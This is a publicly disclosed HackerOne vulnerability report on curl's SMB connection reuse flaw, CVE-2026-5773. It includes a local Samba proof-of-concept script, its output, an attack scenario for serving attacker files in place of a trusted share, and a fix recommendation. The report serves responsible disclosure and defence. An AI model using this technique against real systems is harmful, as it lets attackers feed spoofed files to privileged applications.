HexBrain

curl · Report #3650689

CVE-2026-5773: wrong reuse of SMB connection

Validstatus
lowseverity
14upvotes
29 Apr 2026disclosed

How it was found

Affected Version & File

Version: curl 8.19.0 (and master up to 2e5d219205ebec64a66bfd29bba73dd5049c434f), and likely older versions supporting SMB. Files: lib/url.c (at url_match_proto_config) and lib/smb.c

What we found

libcurl incorrectly reuses SMB connections across different shares on the same server, leading to data spoofing and access control bypass.

When libcurl connects to an SMB share, the smb_setup_connection function parses the URL and saves the target share name into the connection's metadata (smbc->share).

However, during connection reuse, url_match_conn only verifies the hostname, port, and credentials. It does not verify if the new URL's SMB share matches the existing connection's smbc->share. There is no smb_conns_match equivalent in url_match_proto_config.

// lib/url.c
static bool url_match_proto_config(struct connectdata *conn,
                                   struct url_conn_match *m)
{
  if(!url_match_http_version(conn, m))
    return FALSE;

#ifdef USE_SSH
  if(get_protocol_family(m->needle->scheme) & PROTO_FAMILY_SSH) {
    if(!ssh_config_matches(m->needle, conn))
      return FALSE;
  }
#endif
#ifndef CURL_DISABLE_FTP
  else if(get_protocol_family(m->needle->scheme) & PROTO_FAMILY_FTP) {
    if(!ftp_conns_match(m->needle, conn))
      return FALSE;
  }
#endif
  /* VULNERABILITY: Missing SMB share matching here! */
  return TRUE;
}

Because of this, when the connection is reused for a different share, libcurl calls smb_do, which advances the multi state machine to the DOING phase since smbc->share is already set from the first request. Then, smb_request_state is invoked. It retrieves the old smbc (which retains the share name from the first request) and the new req (which contains the req->path from the new request).

libcurl then sends a TREE_CONNECT for the old share, followed by an NT_CREATE_ANDX for the new path. As a result, libcurl silently fetches old_share/new_path instead of new_share/new_path.

What we proved

You can replicate this by setting up a Samba server (default configuration) and fetching different files sequentially via curl. The following PoC commands demonstrate the issue on a Linux system against the latest curl 8.19.0 build:

# 1. Setup Samba server locally for the PoC
sudo apt-get update && sudo apt-get install -y samba smbclient
sudo bash -c "cat << 'EOF' >> /etc/samba/smb.conf

[global]
    map to guest = bad user
    server min protocol = NT1

[share1]
    path = /tmp/share1
    read only = no
    guest ok = yes
    guest only = yes

[share2]
    path = /tmp/share2
    read only = no
    guest ok = yes
    guest only = yes
EOF"

# 2. Create the shares and dummy files
mkdir -p /tmp/share1 /tmp/share2
echo "hello from share1" > /tmp/share1/file1
echo "hello from share2" > /tmp/share2/file1
echo "hello from share2" > /tmp/share2/file2
chmod -R 777 /tmp/share1 /tmp/share2
sudo systemctl restart smbd

# 3. Create a test script (poc.sh)
cat << 'EOF' > poc.sh
#!/bin/bash
echo -e "\n=== REPRODUCTION OF SMB CONNECTION REUSE VULNERABILITY ==="
echo "Version:"
./src/curl -V | head -n1
echo "==========================================================="

echo -e "\n--- TEST 1: Requesting file1 from share1, then file1 from share2 ---"
echo "Expected Output:"
echo "hello from share1"
echo "hello from share2"
echo ""
echo "Actual Output:"
./src/curl -s -u 'user:pass' smb://127.0.0.1/share1/file1 smb://127.0.0.1/share2/file1
echo ""

echo -e "\n--- TEST 2: Requesting file1 from share1, then file2 from share2 ---"
echo "Expected Output:"
echo "hello from share1"
echo "hello from share2"
echo ""
echo "Actual Output:"
./src/curl -s -u 'user:pass' smb://127.0.0.1/share1/file1 smb://127.0.0.1/share2/file2
echo ""
EOF

chmod +x poc.sh
./poc.sh

Output:

=== REPRODUCTION OF SMB CONNECTION REUSE VULNERABILITY ===
Version:
curl 8.19.0-DEV (x86_64-pc-linux-gnu) libcurl/8.19.0-DEV OpenSSL/3.0.13 zlib/1.3
===========================================================

--- TEST 1: Requesting file1 from share1, then file1 from share2 ---
Expected Output:
hello from share1
hello from share2

Actual Output:
hello from share1
hello from share1

--- TEST 2: Requesting file1 from share1, then file2 from share2 ---
Expected Output:
hello from share1
hello from share2

Actual Output:
hello from share1

(Notice in Test 1 it successfully fetches share1/file1 twice, silently spoofing the share2 result and disregarding the fact that it was supposed to fetch hello from share2! In Test 2, it fails to find file2 because it was searching in share1 instead of share2, yielding only the share1 output!)

Attack Scenario & Prerequisites

Prerequisites:

  • An application uses libcurl to access multiple SMB shares on the same server using the same credentials (e.g., a service account with access to both public and private shares).
  • The attacker controls or has write access to one of the shares (e.g., PUBLIC_SHARE).

Attack Path:

  1. The attacker places a malicious payload named identically to a sensitive file in their controlled share (e.g., PUBLIC_SHARE/config.json).
  2. The application is triggered to fetch a file from PUBLIC_SHARE.
  3. The application is subsequently triggered to fetch a trusted file from PRIVATE_SHARE (e.g., smb://server/PRIVATE_SHARE/config.json).
  4. Due to libcurl's connection reuse logic, the connection is reused, and the application silently fetches PUBLIC_SHARE/config.json instead of PRIVATE_SHARE/config.json.
  5. The application processes the attacker-controlled data as if it came from the trusted PRIVATE_SHARE.

Recommendation

Implement an smb_conns_match function within lib/smb.c and call it from the url_match_proto_config logic (similar to FTP and SSH) in lib/url.c that explicitly verifies if the smbc->share matches the target URL's share before allowing the connection to be reused.

Impact

An attacker can serve malicious files in place of trusted files, bypassing application-level URL restrictions. Conversely, an attacker who can force an application to fetch from an untrusted share after it fetches from a trusted share could cause the application to process sensitive files as untrusted data, leading to SSRF or code execution depending on how the application handles the file. it allows for complete data spoofing/SSRF across trust boundaries (shares) on the same server, allowing attackers to feed malicious files into privileged application components malicious data simply by anticipating what files the application expects to fetch next.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original